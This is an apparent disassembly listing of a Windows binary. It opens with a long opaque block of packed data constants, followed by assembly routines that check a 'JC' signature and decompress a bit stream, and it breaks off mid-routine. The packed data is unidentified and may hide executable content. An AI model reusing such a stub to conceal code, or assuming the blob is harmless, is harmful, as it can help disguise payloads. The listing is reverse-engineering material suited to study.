13D3E945h dd 1AE7A01Ch, 69DD187Eh, 0E872A630h, 2395A504h, 0E9F395D0h dd 469A44C0h, 0B0BE1D2Eh, 6C7446F3h, 591CD3F4h, 0C65EE552h dd 8E4217C4h, 3EF27262h dd 8B32A4B7h, 1268CBDBh, 0AF14EE96h, 0FEAAFB4Bh, 0EBEF8986h dd 31142244h, 0DC15CD95h, 9FBA4722h, 163588E3h, 0B265FE63h dd 0B9A06848h, 77BE1CFh, 0FB631CCh, 292E6C3Ch, 253A576Dh dd 0E832E8CCh, 53DDEF08h, 54601628h, 0C6A6DFB8h, 2BE3A86Dh dd 3F8BB615h, 5C813388h, 0E8DA59F5h, 82688E9Eh, 0C6E1AEDCh dd 0A5BCE62Bh, 0C711E010h, 3C0FF531h, 24EBA517h, 3EA8862Dh dd 8C276A38h, 501D46E0h, 81462DDDh, 44B1E9A4h, 1B5F01EFh dd 0E6477674h, 94FC3372h, 1BE5DC30h, 0B7F37B2Dh, 0C639C779h dd 0FBA0EC0Fh, 0CAF2B3EAh, 0C2C57C1Ah, 0C461C0A2h, 3B0B9DC5h dd 53936FE1h, 18CF6F3Dh, 841598D6h, 0CFEC3ABFh, 0BE4CDC95h dd 1A27BD50h, 0DA2F36F1h, 52E6AAA9h, 0FA9C38EEh, 0DDD0827Ch dd 7D6358D6h, 88DDEC28h, 0A4B6C856h, 7F8D0EA8h, 0D3957776h dd 92B9D88Ah, 91887C07h, 0A32B0F05h, 0D285842Ah, 0FD0238DCh dd 5F727DBFh, 52B54BA2h, 95BDBDE3h, 0C7E2A460h, 86EAC9BCh dd 8D2D7610h, 0A137B250h, 0FB95768h, 0B575910Eh, 24A67975h dd 11BB2B47h, 52F53A38h, 89633CB3h, 0E5D102A3h, 95C99096h dd 0DA38A627h, 32B6C8A8h, 751A529Fh, 74BF687Ch, 0AD88EEEDh dd 5A2D2759h, 5180A961h, 9CD23BAFh, 19B8CAD1h, 68C02CA6h dd 0D93F5B6Bh, 8C93FAF5h, 9E5F1695h, 0C3A24749h, 36D490B2h dd 263F8FB4h, 5AAD7E4Eh, 3C3F81E8h, 993A12FFh, 45DA1F6Fh dd 0C65DC07Ah, 0F023C0CCh, 0D68863A4h, 24D66272h, 5FD18F8Eh dd 4B01CA57h, 0E1FE4BA6h, 5595265Bh, 0C5844B1h, 0CCA66862h dd 0F76A2B4Fh, 449F1A4Fh, 6BD28F33h, 1409F970h, 8413FE3Ch dd 0BF987799h, 0FB7DEF2Ah, 677414E4h, 1BCC6281h, 9D9BD22Bh dd 9743F7F9h, 0FE4CBE07h, 0EA5F9C1h, 0EE62561Bh, 0AAA1212h dd 9F458C6Eh, 0EDF7D2BEh, 7A762A16h, 0B8EDB03Ch, 0E358792h dd 318631FEh, 13D0E105h, 0A6534347h, 90F06490h, 0BD5E4E44h dd 0E6A8DD35h, 98DF503Ch, 525F0C42h, 0DBEB34B3h, 0FC138102h dd 5F647D45h, 71A7A98Fh, 39D75FF1h, 5144698Bh, 292C53D7h dd 7CF39467h, 0A52FBC2Dh, 6C320190h, 5D523C0Dh, 37C5DB75h dd 0AF68C7BBh, 0AFB0306Ah, 0A33C9B68h, 8797F5D8h, 4C7295C3h dd 0D68AD21Bh, 503FA176h, 0B8A65C8Dh, 0D97C6C49h, 2E9F2219h dd 879C8E8Ch, 64C1BD23h, 0B81FA919h, 0A963B75Eh, 0F2B8070Ah dd 16795BF8h, 3A7F8824h, 0CA18ABDh, 0B8902F8h, 0F8E6887Eh dd 7F51801Ch, 2B2277EEh, 88F781C5h, 0AF5A9716h, 8D38A205h dd 0B55AFAFBh, 0B369AB52h, 0DECDD183h, 3EE36CEBh, 0F59A3591h dd 0A46ED678h, 0D41FEA9Bh, 21CF57A5h, 305F02E0h, 0F8E0C161h dd 0E39A8CC4h, 2E3F7EBCh, 0BFE14826h, 0AA0EF7E9h, 78F30968h dd 7E5DA489h, 0FCCD568Dh, 0EAC78AB6h, 0F257E1F8h, 0CBB53589h dd 0CD9AE82Bh, 54716E97h, 0AADCD768h, 982F2FB2h, 71321ED8h dd 69ADF1C1h, 3BE7A74h, 0E3DE355Fh, 0E3BA5A9h, 5BB21550h dd 0E94D5C88h, 11254B72h, 1FAA23F3h, 7F4BA2B3h, 66507214h dd 385ED92Eh, 657CBFA3h, 125174B6h, 48BF667Ch, 0F4FD1504h dd 2CF2214h, 5F147482h, 0B72F54FDh, 56467CEEh, 0C9A61FEBh dd 5D1E720Ah, 960B51EEh, 0F0A76AABh, 0C8292FE7h, 0E822CBCCh dd 95D1BEF5h, 0BE740B18h, 167E73B2h, 0EE8ED8E7h, 997DC821h dd 0BD7F9624h, 218983ABh, 2FA4E3BFh, 0B4DF6D91h, 77E10746h dd 1777E2Fh, 828A08A9h, 0A8FC797Fh, 98FC1F89h, 0BBD457E5h dd 18C4050Eh, 0A02CFCA7h, 0D1096293h, 0CEACB67Eh, 8AFE4169h dd 0BA674B9Eh, 0FBBE6769h, 0FD088F0h, 28499B25h, 2E159F4Eh dd 1B15F0A7h, 9AD665ADh, 58B56F6Bh, 0CD1853ACh, 4F1E5D30h dd 0DF0FC60Eh, 0DAEC87D1h, 0B6254894h, 0C608E8EDh, 0C63559Dh dd 5A2C1937h, 0C926E727h, 5F8F3CF6h, 67CCEEDCh, 0A5942CE0h dd 0CE9C2ABCh, 753BAB9Ah, 0FAA5E3DDh, 0ABE68EF9h, 0F918A3FCh dd 0AE2D6F51h, 0E24C1271h, 0D205E736h, 31966E68h, 55DACBEFh dd 595E685Ch, 0E7474125h, 805A15E7h, 50BB32B4h, 9919325Eh dd 7B85C67Eh, 311A3457h, 4B257575h, 0FE9DD0E9h, 0A4FBB24Eh dd 173A157Ah, 0ADB798B2h, 0E38BFA7Ah, 2348B67Ah, 32D4952Fh dd 15255555h, 0DF1F6BAh, 0DBDC2FECh, 5AC94532h, 0E4D3F9ACh dd 0C47E84CFh, 0FD77A110h, 539B3325h, 4D67FF66h, 0D8D20FC1h dd 5239011Fh, 7051A976h, 0BF11CAB5h, 0BECD6E7Fh, 0AB0C7E34h dd 91CA4286h, 0FC3F68AFh, 0DBB3923Ch, 3C41197Bh, 6F1EB2D3h dd 5357CC6Eh, 7E4DB492h, 0AC0EA4A4h, 0CF660E3Dh, 0C5BA1556h dd 73F7928Eh, 757C990Fh, 0A126B7FCh, 0A8DB0B51h, 0EE7C8C35h dd 0F15D5E0Ah, 0E2D858BBh, 621DDF95h, 0D398E69Dh, 63FCB9DBh dd 0CE100D07h, 0A370B24Ch, 154932F5h, 0F72CFE8Ah, 2483882Dh dd 0D55753EDh, 687A8107h, 0F12F0421h, 0CD05D3FBh, 78AEED91h dd 4171B60Bh, 1DCAF6D5h, 6E814C8Fh, 75C675A7h, 0D9B03F2Dh dd 6CB856CAh, 0ABC5338Eh, 0EB816420h, 0E1AFB359h, 0AE0259EBh dd 0ACE124A8h, 3D64AC48h, 1ABE8DA3h, 8547C68h, 4ADDBA32h dd 7BBF3F6h, 6F158F3Eh, 3798AADBh, 0A21228ABh, 8DFD87E2h dd 6E353020h, 224DD5B3h, 0EE35BBFFh, 3302E68Ah, 0C6C1B7A3h dd 0EE3AE6BFh, 91634030h, 857B69AEh, 748FEAF5h, 4A4575ADh dd 958BA2A1h, 1287BB12h, 0EF83FBB9h, 55A39D8Fh, 0B4E1ACB5h dd 0D36A4211h, 0FF8A1959h, 8ADE4540h, 0A11613E6h, 0C18F8BF0h dd 8E7C397Eh, 7F17FA4Fh, 0C0D7FFD9h, 66E45E98h, 668815B6h dd 2BBC3DCh, 60FD36Fh, 524B9813h, 0FB68B3D4h, 45EA3051h dd 0C7A2A581h, 2B7CB6BCh, 7B9BE7D0h, 0B37413A7h, 0BB6ABB1Bh dd 0AA485760h, 6AF073CEh, 7FD41C23h, 0AF06E2Eh, 31263F07h dd 0BABB3959h, 45C14E53h, 0C7332C05h, 4692B285h, 0E360B99Bh dd 35047148h, 0D7397E45h, 0DBBDEE2Ah, 0D5091946h, 0BC6C8FD0h dd 0AD80BBF1h, 0EB8D92ADh, 9DD946ECh, 0B9D5C22Eh, 0DD06CAEAh dd 7FCEDA85h, 0C6B07C54h, 0E7BD1BBDh, 4ED146FDh, 0DE2B1E45h dd 193F5793h, 83272BDCh, 0C644915Eh, 0E276FDCDh, 9A52FDCAh dd 0AFE1CBE8h, 7D6B1A44h, 405281EDh, 19765CD7h, 0C110FC56h dd 3EBD6D5Fh, 5D6AFD3h, 36F1D21Ch, 0B5CA4088h, 78EB59E6h dd 0DBDFE0C7h, 0F934187Fh, 8E032555h, 58E8F3D6h, 13FC250Dh dd 0E6F0B3DBh, 0B7D4A5C8h, 74857C50h, 0AC75ABA9h, 7459D53Dh dd 0AD2B129Eh, 93B42E1Ch, 0F51707B5h, 0E1419503h, 0BF25D0F6h dd 0F9032D10h, 855A5FE4h, 1FB69EB7h, 0F7E2C4EDh, 9B764ACFh dd 0BDE0DD6Eh, 98944913h, 0BC17F41h, 0ED1539A5h, 765C3F55h dd 680C2D9Fh, 74B8A4D9h, 2FE63A89h, 0FD8ED692h, 143F4F02h dd 862E596Ah, 331C1DDBh, 9EAC9872h, 27684FB5h, 0F048CE26h dd 0F2B3C22Fh, 7910956Ah, 0CA6A070h, 0C50BB647h, 0B7038645h dd 0F5ADACE6h, 1E67FAC4h, 16B50ABAh, 910C75A5h, 9509462Dh dd 53AC4ABFh, 0EAA552B4h, 7A69B8CAh, 77E92D34h, 60D8B414h dd 0BF4996A3h, 34E0FA69h, 8AFC1AFBh, 4B5FF260h, 970681ACh dd 8E77B674h, 0D4EA6790h, 35487718h, 75EB2F32h, 0C3D47AADh dd 2B660BBCh, 0CF66C2Ch, 0A1342F91h, 0BF042ABEh, 47C8DC5Dh dd 0CC6CA422h, 529B639Ch, 0E52BCD6Ch, 42E2C6D8h, 562EDE5Ch dd 0C21F4F69h, 0F6C62B0Eh, 0ABC58CD4h, 0FD6C9E47h, 5BBEFCBEh dd 44E63FC4h, 0FA8A981Fh, 77DDBBA8h, 12190733h, 0E1EEFF32h dd 64E198ECh, 7E3E3086h dd 8F559FF9h, 6D37B777h, 6E05B21h, 14791990h, 92FDFFBAh dd 0BAC9A2AAh, 0FEB7EAAFh, 0D429FB98h, 387DA199h, 5AB325CEh dd 1F02B63Eh, 0FE5ECB54h, 47153299h, 464B25BBh, 6B4150F1h dd 64C10BADh, 0AF0BEB6Bh, 62A85CFCh, 0B6D915CAh, 304C0419h dd 2E7510E7h, 288C9745h, 2A5CAAC2h, 0F5A6BE26h, 69F6334Eh dd 50439F6Ah, 7C0F3A85h, 3D83BF5Dh, 0F0B9AB41h, 0E257F4Bh dd 0E68230AEh, 2740DDA6h, 7683BDDh, 0CE01BBAAh, 5684BB98h dd 1B48037Eh, 0FCE6B43Fh, 6F5DCF8Dh, 0BDAE38E5h, 0B77BF03Fh dd 0A3CBF321h, 318A9EBFh, 0DA55F0BAh, 39F76F1Dh, 1AAFC70Ah dd 9FCE93C2h, 372E3D29h, 0CBC5BBB5h, 0B532ADBDh, 0A464D97h dd 3F197A47h, 9A42B625h, 6A0AE845h, 28AB08B9h, 0FED7EC55h dd 2FCDCB98h, 0EAC64F60h, 1228C3A6h, 8363AF88h, 0A04E4AB4h dd 7FAFFF44h, 2FF4CE60h, 0EAD8A040h, 0FBC92145h, 0E020953Ah dd 0F91B7887h, 4975FA96h, 0FE6C67E2h, 87A5ED28h, 9E7C15F9h dd 0BD1C8CFCh, 0D19A4D76h, 0ED555C40h, 1A0B06A1h, 5D945658h dd 0AAE6AF0Ch, 5CD45DEAh, 0B4EE2AA8h, 948C5D99h, 77C62E29h dd 4180FD84h, 0B138B8C7h, 0BD2B504Ah, 2AF5390Bh, 0DD60F7FBh dd 3C096E91h, 0F5B43846h, 4C2B60A3h, 76B72D19h, 55295DA9h dd 117F33FEh, 0A7CF74FBh, 0FF188CE2h, 5193FEADh, 0C3CBB7DCh dd 8CFFD796h, 36CBE1F8h, 524F9592h, 0D871F683h, 35DF5441h dd 97D643B2h, 94BA06BDh, 0D135E88Dh, 0F84E1F8Ch, 692EE462h dd 0DF569461h, 0C43FCB9h, 0DA179E0Fh, 9E4AF354h, 0F93D3B3Eh dd 0B2F0A345h, 539ABE0Ch, 0E85E0619h, 39B48A50h, 0A4BEA27Ah dd 34FB0DF8h, 0DB4EFD25h, 0BA1E5B87h, 10D2716Ah, 3BDD37AEh dd 0DDCC3063h, 0CD0FF244h, 0D32B74F8h, 0D32278E5h, 66FEE705h dd 0F838676Fh, 0FCB0D1A1h, 17D49EF3h, 3293EA73h, 3ADF76AEh dd 0E3EAFCEDh, 2C2D4F02h, 71B74B19h, 9AE965CDh, 9DFF9DEBh dd 56FF9FA4h, 4946B359h, 0C0F79327h, 1BECCD12h, 87E2E87Fh dd 6C84961Fh, 7E51761Dh, 0EE8384E0h, 0D42D1F8Ch, 7E0903EAh dd 0D5218EFh, 0F6577C5Ah, 0B67AD05h, 0F55266C8h, 953BA6CAh dd 0A26A7A3Bh, 0A3428623h, 0F6A5A568h, 7B03A895h, 0F02EEFDDh dd 0DCD9D589h, 0EA89DC1h, 0A0B5E92Fh, 86AE6A25h, 0AF01CD95h dd 0D31FEC15h, 0F581D4D4h, 51B405C3h, 0FB182B83h, 0B15472E1h dd 28CCC2DAh, 0A856A0CAh, 0C849B894h, 79E4D764h, 52E564C5h dd 0BFDA4D90h, 0D2C67877h, 54CF2541h, 3F423DCBh, 8C07A3ABh dd 0B3A9BFCBh, 0EA8BF59h, 0D9EB9DA7h, 0A2D22AF4h, 0F7542DE4h dd 7AA58607h, 0CFA89BA9h, 0EAC072C4h, 0F58857D1h, 8663FCEAh dd 0F78725BFh, 0B2569447h, 0E59BB1B1h, 377E739Dh, 0D23AAA31h dd 5CCA4371h, 99DF4CD4h, 17B1F3E0h, 9A750B5Fh, 2B1E77EBh dd 77562412h, 2274EE8Dh, 0CBD2B6A4h, 0B9A772F9h, 0E02ABA82h dd 0F6789BC1h, 43CAAB6Dh, 328AF852h, 729B55CAh, 81F0DE6Bh dd 39CCA59Dh, 0B054DF59h, 0D57C87F9h, 77DF654h, 95DCCD4Dh dd 96B2EBD1h, 0D15BD7B0h, 0ACB4FAEAh, 0C6914C78h, 0A8531A8Eh dd 112C5F65h, 0FDB1D7BEh, 19300F6Ah, 46BEF44h, 5FD4349Eh dd 0A7C121CCh, 44FB9B43h, 0F4205F09h, 247D56D8h, 5943A94h dd 0B8BCEAAEh, 1C2372A1h, 88274A6Dh, 0B83BCAFCh, 84E85D5h dd 0F4276794h, 68D5A40Dh, 99679365h, 4C0F69EDh, 0BFEE793Ah dd 978D22D7h, 0FDF7AD3Dh, 14BD2683h, 0B776E060h, 0E3411B5Fh dd 6BCF0053h, 0FEFEED74h, 0F0E9D91Dh, 884DC85Fh, 6902631Dh dd 0FF26AD5Dh, 0AED599B9h, 2B7507F1h, 4EE7DDBCh, 0A592B731h dd 237D2BD7h, 77642AD3h, 5BA64BB6h, 0EB478715h, 3076C3F4h dd 0CEA3DE0Fh, 31EBE7A2h, 0BB23B42h, 95E7C0ADh, 88FED92Bh dd 0FE85D611h, 6BF62789h, 188E4121h, 1BF35E43h, 67A2BA1Ah dd 3CD2A545h, 95F7568Bh, 0F84A3CCh, 92C5E1F8h, 0A2C26D56h dd 2391C8A2h, 9B69D9ACh, 0FB723642h, 0EB7FCFC0h, 97B37883h dd 7586148Dh, 68001970h, 0A26994B3h, 787857D8h, 21B178F3h dd 0BE079BFEh, 0F218AD2Bh, 0CA23EA3Fh, 7C1EB4CFh, 57EEF293h dd 15BB6B77h, 8D50422h, 0A7DAC2B7h, 0F7053DAAh, 4A1743F1h dd 0F6D4D10Eh, 0B6126F03h, 0FDD3F9F8h, 30EFE6Eh, 27E87D8Bh dd 2F4F9D5Fh, 28C79CCEh, 0DC5B2E63h, 0DD296713h, 75B74DA5h dd 60881F15h, 0EAB9238Fh, 0FB0E463Bh, 0A39B1345h, 43F168A5h dd 0B9A2F3DCh, 3FC51AA5h, 679B47D6h, 0E4DE915Dh, 0D625E1A5h dd 0BDDD9795h, 4DE7B7AFh, 7DA75700h, 0EB47C0A4h, 65A6D4D6h dd 1FCC622Bh, 0E6E53C11h, 3F6E256Ah, 0A9A55A6Fh, 0D6EE9ADDh dd 1282A802h, 0B34A5D3Bh, 9843FA3Ch, 0A9A249D2h, 5A29F138h dd 72AAD0B3h, 0CC9AD48Bh, 6C53D82Dh, 0E691C6FAh, 0C6F15DAh dd 0BA995E5Bh, 343BFB3Ah, 7E2ED8B7h, 0AB30E7FEh, 0CA3EDDEFh dd 0E89D295Dh, 0EBDD5DC9h, 0B7F0753Bh, 0CA72C168h, 1BB571C7h dd 64C5E18Bh, 0FE1B6A3h, 0E630C166h, 46760895h, 0A595D3DDh dd 0E0692F69h, 80E192B3h, 0C5F11A5Fh, 2D14927Eh, 0B91D525Dh dd 2749855Fh, 0A5AC0227h, 6A2D51BCh, 16875D9Eh, 5BB680B3h dd 4CDE875Dh, 0E977AFA8h, 0D1EFE8C2h, 0B57C5719h, 0F8490473h dd 0BA439A17h, 0EE6F6CFCh, 0CAD527E4h, 57426496h, 7776B374h dd 0AA054309h, 29C90BE5h, 0E959C149h, 70FC159h, 40CF033Eh dd 0BE6D8AF4h, 7EE80642h, 47B5E643h, 386E1D66h, 771189A1h dd 4DE59B8Dh, 9A9D56C5h, 0F08C91B4h, 4E97075Fh, 0AEB7EE96h dd 54450B60h, 96C6CEF4h, 91AE3C2Ah, 0A2BB61B1h, 295FE644h dd 7733D4CEh, 7EE2B5E1h, 0ED94548Dh, 20F26AD0h, 174A9EEh dd 3DD7DF86h, 0D54A9F9Bh, 7829C85Bh, 0A78FCC93h, 9D5A4CB4h dd 0E3453E24h, 0AAFA4ACDh, 2F2D8E62h, 0EA94B683h, 0F01B34BCh dd 7F43C5E1h, 0DABE8957h, 0E072074Bh, 1ACF4F93h, 7D1A9CCBh dd 0A66BFDF2h, 9D57A255h, 0B9308F8h, 0C8EF3B53h, 0A09D5F48h dd 0C881034Fh, 3E685E37h, 76B9FC78h, 0BF769B58h, 250FE1D9h dd 0B05BB102h, 4C962F8h, 42FF0B3Bh, 6918AAD4h, 2166B87Ah dd 30FD1BF3h, 0B112A18Ah, 232366A0h, 0A9C3D7ADh, 0E7CEC64Fh dd 7BE29DBAh, 0FD891AA8h, 32776F93h, 98C0F13Fh, 0F0FCFBDDh dd 847596E6h, 0F9672AE3h, 15576CCEh, 0B1F2A0B7h, 0A4506BDCh dd 181E9D2Bh, 9F197CAAh, 5D04FF22h, 0DE23D366h, 737F6ED9h dd 7FE6B93h, 0B457BEDCh, 9734C1FEh, 0BE6F766Ch, 0BC6ACB9Ah dd 9B8249B9h, 0DB5A010Fh, 0D7CF7E1Fh, 4B15E146h, 0EC65ABFFh dd 0DD3CB245h, 937414F7h, 0B6D19799h, 3B029446h, 671711EAh dd 902BCF8Ch, 0AF9EC59Eh, 0B4BC95DCh, 0CF89001Ch, 0B1868AAFh dd 0F277FAC3h, 6A6F12FEh, 56CB2A8Dh, 2F46E926h, 1C1BF2F9h dd 3D1ADC61h, 3F51ECFEh, 0C87036BDh, 7B0EDE68h, 0C7CF7A13h dd 0F44B68BFh, 959E69F5h, 123CF269h, 3481D654h, 6C65B18Bh dd 0C91D5026h, 0BD4B595Dh, 0A07219CFh, 553A8E8Dh, 7385FFA9h dd 0B37CCE73h, 0F28BA4F7h, 0AB9F1F47h, 3A1984C8h, 1C9E4254h dd 0FF2295D4h, 0D89825A0h, 0E2A15C21h, 37F42F91h, 58AB3E74h dd 5A3CA3FAh, 7CF18323h, 0FC35CD5h, 0EEF6D395h, 0BB726BA6h dd 0AA6E987Ah, 7657B6E4h, 5096296Dh, 0A8935943h, 5A511BCAh dd 264D36ADh, 0EEEF334Eh, 3C15E78Dh, 0BFB85D59h, 944E4221h dd 70AE157Bh, 4E86BE7Fh, 88DD0F23h, 0E5B79E93h, 0FB382B08h dd 8BDA8DCEh, 581E8ACAh dd 856E463Dh, 2BC654CBh, 0A10E9397h, 2ACCF950h, 5AEBA553h dd 0CDF03A96h, 9A77EB0Ch, 37E7754Ah, 0D5CEE6D5h, 0B6CD77BAh dd 9BA4A1BEh, 25CFC60Eh, 0A921D38Bh, 0D6AA69F1h, 6249E3C4h dd 0E7EFB356h, 6C1FC65Fh, 0DA7C7FA2h, 0A39B9E8Ah, 91925FA0h dd 5A1D3FC9h, 0CBCF7E58h, 0A72F2A02h, 522E191Ah, 0E9526546h dd 0E68D374Ah, 0B1070FA4h, 4842A753h, 246E5C20h, 0A9A318DDh dd 66FC2A8h, 836EE117h, 0BE724174h, 0CDC1B55Ch, 1CE7D16Ch dd 0BFCF762Ah, 672DF653h, 0A02B0F67h, 6486897Dh, 0B3786ABEh dd 40C9C79Eh, 0D6308AAEh, 0E6C1B9A6h, 0A0633C8Ch, 85C7A631h dd 6D9B0FE2h, 3E5CD62Bh, 7E421329h, 0D3AC9E63h, 0EE2FF8DCh dd 0E2BBE623h, 3A2147FBh, 8D9AB7CAh, 8E9529A9h, 4D6D85B4h dd 6455BE2Ch, 0A636C294h, 54809037h, 9ECF35A3h, 0F7EEB25Bh dd 4B345316h, 6E4EF652h, 20AD729Bh, 0F2EAB99Fh, 35D2FDDEh dd 0F12EBAC6h, 0EBA9C1C3h, 0BAF12C67h, 4DC46BF3h, 71787A92h dd 0D7759775h, 0C966AFA7h, 6AA07816h, 9F63CDF6h, 0EFF615CBh dd 8C7270DBh, 0E8499B95h, 6626E1F5h, 1BF70BF2h, 35FF9ABh dd 262C2F95h, 0DB1078F0h, 64EB5993h, 52B791ECh, 0BD13B8FFh dd 0F37F1F5Ah, 84396634h, 58E7CF3h, 3ED7730Dh, 55DFD8AAh dd 34A6EEE5h, 46773B64h, 0B5B5C8EFh, 7EA79C3Eh, 0BA0B6B46h dd 0C3373DD4h, 0AF9A73Eh, 4D90B1A1h, 0A6C5E4B9h, 0E84FDA88h dd 0C92767F2h, 0C9952D17h, 66F19EA0h, 1D597DA7h, 0D0B345FFh dd 0F7F8448Dh, 0B4ADBE3Ch, 0AFF2DB52h, 29CC5058h, 0AA55D78Ah dd 90AC5B22h, 0A1F854C1h, 0D5978747h, 80A8384Fh, 0A46E9FDh dd 7EA1306Ah, 169816D3h, 15BFC969h, 68E8E81Dh, 1731D3B9h dd 0DEDDC8A6h, 0A7F32297h, 5B6249B7h, 8FB55330h, 42D1A4E2h dd 6DBBB0E5h, 967563A0h, 0A6296BB6h, 1EF6F077h, 0ECBECF36h dd 0A5B163Fh, 7E5EB0E7h, 0E6E1A19Ch, 2424922Ch, 3348DDABh dd 6AAEAC18h, 5A0784ADh, 0E57AED6Dh, 0D9453031h, 0D84F0245h dd 77689F7Ah, 56E6F707h, 0A6778FEDh, 4A201ADAh, 0D8A35DEFh dd 0AEC65D21h, 0E6C80882h, 0B9F299EBh, 2D09DA4Fh, 3524E96Bh dd 276FAFABh, 0BF3F8F6Bh, 8BFFF508h, 0FEC7B678h, 733C632Dh dd 0CAA9EBD9h, 121AFDFEh, 0B65D818Dh, 4E281882h, 0BF147D22h dd 2B0BA74Dh, 9F6385C3h, 0ACE1AC2Eh, 2AAF3F19h, 0F90B551Eh dd 7B679BCEh, 0A5DA9AAEh, 0F6754C52h, 1DF10AA4h, 0ABA9A5BEh dd 2BF97E3Ch, 45CC21F0h, 0E1E52E59h, 0BD2D3EBBh, 0C5CBFFA1h dd 0D57854C8h, 0A2BDFAA6h, 0A97E1CABh, 0D9879E58h, 8B8E7657h dd 64CEE3F0h, 51FB9B7Fh, 7FA2FC9Eh, 0F471442Dh, 0D42004E1h dd 5BEF31A5h, 24B4CFECh, 0F866B58h, 0B2727F3Eh, 0D5BB1D68h dd 0D68F2E75h, 5BA460CEh, 0DD857643h, 0DCFFB358h, 623E5207h dd 8BC2B296h, 0D8ABF1FCh, 76CB578h, 5C927574h, 702E8DF9h dd 0AEDA435Ah, 0A1672BB5h, 54C31BBh, 20E2EC18h, 0D82F7FE0h dd 8D861195h, 62D6B890h, 0F37899C5h, 0EB34DF15h, 14E8B416h dd 0EB1C2D66h, 33A0DD23h, 2D37C7AAh, 5525636h, 7D39217h dd 9629024Fh, 0AA1DF7A7h, 238BCD0Bh, 783A75F2h, 0C278ECE0h dd 6C7A5FF4h, 0BB1ADEB2h, 0A5E768DFh, 0A7BFED5Bh, 3E02AF19h dd 74EA9E23h, 0E27EA429h, 0F2C9D2CFh, 8DE71567h, 0CB18BD13h dd 9AED9DD1h, 0A142C334h, 0DD5CDD11h, 4370F9A0h, 61F9909Dh dd 5323B897h, 0C22FB97Ch, 0EAAADDA8h, 67C087DDh, 2E28BBE1h dd 0F234E3C7h, 878C9D98h, 5A15461Bh, 0AEC65A3Eh, 80E97611h dd 5C7FD15Dh, 3FDBF732h, 0EC7B8BCDh, 46A00D9Ah, 31F8F4A3h dd 0F605A55Ah, 0EFA73B8Ah, 4F44D7Eh, 0BA474ECBh, 48A54794h dd 0D15650EBh, 15AF0B7Fh, 43CD44CCh, 6CF5F1FCh, 6B3FABB2h dd 0AD7AA85Fh, 2EF23B6Ah, 3ECC9F9Eh, 0FAC87C2Bh, 0DFDE6CCFh dd 0CC13B9F7h, 0F3BCE0ACh, 5FEE5DCCh, 7F13F07Ch, 522DD3E6h dd 955BCD4Ah, 0D81EA84Fh, 0BBF345FDh, 0F6A8746Fh, 4E7EACBAh dd 3CB61CC7h, 5A61D760h, 36DCC5B0h, 9E161C2Bh, 73965615h dd 0BD2EFD6Eh, 0BB7A891Bh, 33312437h, 52ADFBF9h, 98C5FDF7h dd 0BE1ED2E8h, 5BE6h, 76C62000h, 1 db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_473332 proc near ; DATA XREF: sub_47627E+3Ao var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004734B1 SIZE 00000004 BYTES push ebp mov ebp, esp add esp, 0FFFFFFECh cld push ebx push edi push esi mov [ebp+var_4], eax mov [ebp+var_8], edx mov esi, eax mov edi, edx cmp word ptr [esi], 434Ah jnz loc_473474 add esi, 0Ah mov [ebp+var_C], 8 xor ebx, ebx mov edx, 80000000h inc ebx loc_473363: ; CODE XREF: sub_473332+46j ; sub_473332+8Dj ... xor eax, eax call sub_47347B jnb short loc_47337A mov ecx, [ebp+var_10] call sub_473493 add al, [ebp+var_11] loc_473377: ; CODE XREF: sub_473332+65j stosb jmp short loc_473363 ; --------------------------------------------------------------------------- loc_47337A: ; CODE XREF: sub_473332+38j call sub_47347B jb loc_47341C call sub_47347B jnb short loc_4733E7 mov ecx, 4 call sub_473493 dec eax jz short loc_473377 jns loc_473466 call sub_47347B jnb short loc_4733C1 push ebp loc_4733A7: ; CODE XREF: sub_473332+8Aj mov ebp, 100h loc_4733AC: ; CODE XREF: sub_473332+83j call sub_473488 mov [edi], al inc edi dec ebp jnz short loc_4733AC call sub_47347B jb short loc_4733A7 pop ebp jmp short loc_473363 ; --------------------------------------------------------------------------- loc_4733C1: ; CODE XREF: sub_473332+72j mov ecx, 1 call sub_473493 add eax, 7 mov [ebp+var_10], eax mov [ebp+var_11], 0 cmp eax, 8 jz short loc_473363 call sub_473488 mov [ebp+var_11], al jmp loc_473363 ; --------------------------------------------------------------------------- loc_4733E7: ; CODE XREF: sub_473332+58j mov ecx, 7 call sub_473493 push eax mov ecx, 2 call sub_473493 mov ecx, eax inc ecx inc ecx pop eax or eax, eax jz short loc_473409 mov ebx, eax jmp short loc_473467 ; --------------------------------------------------------------------------- loc_473409: ; CODE XREF: sub_473332+D1j cmp ecx, 2 jz short loc_473474 inc ecx call sub_473493 mov [ebp+var_C], eax jmp loc_473363 ; --------------------------------------------------------------------------- loc_47341C: ; CODE XREF: sub_473332+4Dj call sub_47349F dec ecx loop loc_47342D mov eax, ebx call sub_47349F jmp short loc_473467 ; --------------------------------------------------------------------------- loc_47342D: ; CODE XREF: sub_473332+F0j dec ecx mov eax, ecx push ebp mov ecx, [ebp+var_C] mov ebp, eax xor eax, eax shl ebp, cl call sub_473493 or eax, ebp pop ebp mov ebx, eax call sub_47349F cmp eax, 10000h jnb short loc_473464 cmp eax, 37FFh jnb short loc_473465 cmp eax, 27Fh jnb short loc_473466 cmp eax, 7Fh ja short loc_473467 inc ecx loc_473464: ; CODE XREF: sub_473332+11Cj inc ecx loc_473465: ; CODE XREF: sub_473332+123j inc ecx loc_473466: ; CODE XREF: sub_473332+67j ; sub_473332+12Aj inc ecx loc_473467: ; CODE XREF: sub_473332+D5j ; sub_473332+F9j ... push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_473363 ; --------------------------------------------------------------------------- loc_473474: ; CODE XREF: sub_473332+19j ; sub_473332+DAj mov eax, esi pop esi pop edi pop ebx jmp short loc_4734B1 sub_473332 endp ; =============== S U B R O U T I N E ======================================= sub_47347B proc near ; CODE XREF: sub_473332+33p ; sub_473332:loc_47337Ap ... add edx, edx jnz short locret_473487 mov edx, [esi] add esi, 4 stc adc edx, edx locret_473487: ; CODE XREF: sub_47347B+2j retn sub_47347B endp ; =============== S U B R O U T I N E ======================================= sub_473488 proc near ; CODE XREF: sub_473332:loc_4733ACp ; sub_473332+A8p mov ecx, 8 call sub_473493 retn sub_473488 endp ; =============== S U B R O U T I N E ======================================= sub_473493 proc near ; CODE XREF: sub_473332+3Dp ; sub_473332+5Fp ... xor eax, eax loc_473495: ; CODE XREF: sub_473493+9j call sub_47347B adc eax, eax loop loc_473495 retn sub_473493 endp ; =============== S U B R O U T I N E ======================================= sub_47349F proc near ; CODE XREF: sub_473332:loc_47341Cp ; sub_473332+F4p 